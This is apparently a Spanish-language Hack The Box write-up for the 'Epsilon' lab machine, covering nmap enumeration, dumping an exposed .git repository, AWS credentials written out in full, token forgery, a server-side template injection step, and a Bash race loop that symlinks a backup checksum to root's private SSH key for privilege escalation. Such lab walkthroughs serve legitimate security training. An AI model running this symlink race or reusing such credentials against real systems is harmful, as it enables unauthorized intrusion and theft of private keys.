Epsilon - Hack The Box

Enumeración

Lanzamos un escaneo de nmap.Y encontramos que hay un .git expuesto en la web que contiene el codigo fuente de la web, y algunos datos del aws.

nmap -sCV -p22,80,5000 10.10.11.134 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-23 10:33 -03
Nmap scan report for 10.10.11.134
Host is up (0.24s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-git: 
|   10.10.11.134:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Updating Tracking API  # Please enter the commit message for...
5000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.34 seconds

Sabiendo que hay un .git en el servidor web, con git-dumper sacamos su contenido. Luego mediante commit vemos los datos que necesitamos para conectarnos al aws.

Como ya tenemos los datos necesarios para conectarnos al aws, hacemos un aws configure y agregamos los siguientes datos.

aws configure
AWS Access Key ID [****************6TDC]: AQLA5M37BDN6FJP76TDC 
AWS Secret Access Key [****************Fo1A]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A  
Default region name [us-east-1]: us-east-1
Default output format [json]: json

Ahora nos conectamos.

Ahora procedemos a extraer el archivo de dicha funcion.

Nos descargamos el archivo y vemos que es un .zip, entonces lo descomprimimos y obtenemos el secret para el token.

Ahora nos creamos un token para entrar como admin en la web.

Una vez adentro nos dirigimos a http://10.10.11.134:5000/order, y vemos que se nos refleja glasses, entonces hacemos una prueba para ver si es vulnerable a ssti.Interceptamos la solicitud y cambiamos el campo costume.

Es vulnerable.

Ahora lo que procede es ver si podemos ejecutar comandos.Probamos una inyeccion ssti y funciona.

Elevación de Privilegios

Una vez dentro del sistema procedemos a descargarnos la herramienta pspy que nos sirve para monitorizar procesos y extraemos la siguiente información.

Si nos vamos a explainshell vemos que nos indica que esta haciendo tar.

Ahora imprimimos el archivo backup.sh

#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/* # Borra todos los archivos de /opt/backups
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/ # Crea un archivo tar del contenido que hay en /var/www/app
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum #Crea /opt/backups/checksum que contiene el hash SHA1 del nuevo archivo.
sleep 5 # duerme 5 segundos
check_file=`date +%N` 
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar" #Crea un nuevo archivo tar que contenga el primer archivo y el archivo de suma
/usr/bin/rm -rf /opt/backups/* #Elimina todo lo que haya en /opt/backups/

Para aprovechar esto, usaré un bucle Bash para buscar el checksum y lo reemplazaré con un enlace simbólico al id_rsa de root.

#!/bin/bash
file=/opt/backups/checksum
while :
do

if [ -e "$file" ]; then
    echo -e "[!]pwned\n"
    rm -rf $file
    ln -s -f /root/.ssh/id_rsa /opt/backups/checksum
    exit
fi
done

Conseguido :D.